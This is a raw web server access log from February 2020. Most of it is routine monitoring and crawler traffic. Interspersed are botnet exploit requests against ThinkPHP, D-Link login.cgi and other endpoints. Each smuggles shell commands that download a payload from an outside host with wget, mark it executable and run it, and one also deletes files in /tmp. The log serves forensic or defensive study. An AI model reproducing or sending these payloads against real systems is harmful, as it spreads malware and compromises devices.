212.91.246.72 - - [15/Feb/2020:21:35:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:21:36:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:21:37:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:21:38:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
119.197.27.4 - - [15/Feb/2020:21:39:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [15/Feb/2020:21:39:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:21:40:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:21:41:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
119.197.27.4 - - [15/Feb/2020:21:42:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [15/Feb/2020:21:42:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:21:43:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:21:44:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:21:45:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
180.242.109.127 - - [15/Feb/2020:21:46:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [15/Feb/2020:21:46:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:21:47:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:21:48:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:21:49:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
111.61.41.133 - - [15/Feb/2020:21:50:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [15/Feb/2020:21:50:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.168.151.180 - - [15/Feb/2020:21:51:27 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [15/Feb/2020:21:51:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:21:52:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:21:53:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:21:54:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:21:55:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:21:56:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:21:57:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:21:58:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:21:59:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:22:00:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:22:01:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:22:02:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.68.246.198 - - [15/Feb/2020:22:02:55 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [15/Feb/2020:22:03:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.55.158.252 - - [15/Feb/2020:22:03:59 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
115.20.222.185 - - [15/Feb/2020:22:03:59 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
115.20.222.185 - - [15/Feb/2020:22:04:02 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
131.221.204.200 - - [15/Feb/2020:22:04:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
115.20.222.185 - - [15/Feb/2020:22:04:08 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
84.232.255.139 - - [15/Feb/2020:22:04:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
115.20.222.185 - - [15/Feb/2020:22:04:20 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [15/Feb/2020:22:04:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
115.20.222.185 - - [15/Feb/2020:22:04:44 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
79.101.58.46 - - [15/Feb/2020:22:05:44 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1" 404 310 "-" "Hello, world"
212.91.246.72 - - [15/Feb/2020:22:05:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.173.103.227 - - [15/Feb/2020:22:06:12 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [15/Feb/2020:22:06:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:22:07:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:22:08:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:22:09:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:22:10:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.117.198.174 - - [15/Feb/2020:22:11:24 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [15/Feb/2020:22:11:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:22:12:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:22:13:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
175.137.14.42 - - [15/Feb/2020:22:13:45 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
122.141.188.89 - - [15/Feb/2020:22:14:22 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [15/Feb/2020:22:14:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
180.245.167.197 - - [15/Feb/2020:22:14:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [15/Feb/2020:22:15:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:22:16:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:22:17:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:22:18:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:22:19:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:22:20:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:22:21:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:22:22:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:22:23:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:22:24:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:22:25:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:22:26:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:22:27:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.68.246.198 - - [15/Feb/2020:22:28:16 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [15/Feb/2020:22:28:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:22:29:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:22:30:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:22:31:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:22:32:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:22:33:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:22:34:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:22:35:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:22:36:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:22:37:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.201.141.34 - - [15/Feb/2020:22:38:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
103.201.141.34 - - [15/Feb/2020:22:38:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [15/Feb/2020:22:38:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:22:39:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:22:40:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:22:41:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.185.158.7 - - [15/Feb/2020:22:42:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [15/Feb/2020:22:42:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:22:43:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:22:44:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:22:45:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:22:46:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:22:47:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:22:48:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:22:49:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:22:50:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:22:51:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:22:52:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
60.53.149.157 - - [15/Feb/2020:22:52:57 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
45.232.133.104 - - [15/Feb/2020:22:53:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [15/Feb/2020:22:53:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:22:54:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.231.147.21 - - [15/Feb/2020:22:55:39 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [15/Feb/2020:22:55:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:22:56:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:22:57:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:22:58:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:22:59:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:23:00:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
35.190.164.199 - - [15/Feb/2020:23:01:30 +0100] "GET /robots.txt HTTP/1.0" 404 330 "-" "ZoominfoBot (zoominfobot at zoominfo dot com)"
35.190.164.199 - - [15/Feb/2020:23:01:30 +0100] "GET / HTTP/1.0" 200 1229 "-" "ZoominfoBot (zoominfobot at zoominfo dot com)"
212.91.246.72 - - [15/Feb/2020:23:01:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:23:02:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
157.55.39.29 - - [15/Feb/2020:23:03:11 +0100] "GET /robots.txt HTTP/1.1" 404 321 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
157.55.39.207 - - [15/Feb/2020:23:03:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
212.91.246.72 - - [15/Feb/2020:23:03:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.116.93.35 - - [15/Feb/2020:23:04:17 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.116.93.35 - - [15/Feb/2020:23:04:20 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.116.93.35 - - [15/Feb/2020:23:04:26 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.116.93.35 - - [15/Feb/2020:23:04:38 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [15/Feb/2020:23:04:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.116.93.35 - - [15/Feb/2020:23:05:02 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
169.0.222.243 - - [15/Feb/2020:23:05:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [15/Feb/2020:23:05:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
80.18.113.223 - - [15/Feb/2020:23:05:59 +0100] "GET /card_scan_decoder.php?No=30&door=%60wget http://switchnets.net/hoho.arm7; chmod 777 hoho.arm7; ./hoho.arm7 linear%60 HTTP/1.1" 400 340 "-" "dark_NeXus_Qbot/4.0 (compatible; MSIE5.01; minerword NT)"
212.91.246.72 - - [15/Feb/2020:23:06:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:23:07:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:23:08:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:23:09:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:23:10:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:23:11:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:23:12:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:23:13:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:23:14:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:23:15:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:23:16:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [15/Feb/2020:23:17:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
114.32.10.65 - - [15/Feb/2020:23:17:46 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [15/Feb/2020:23:18:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
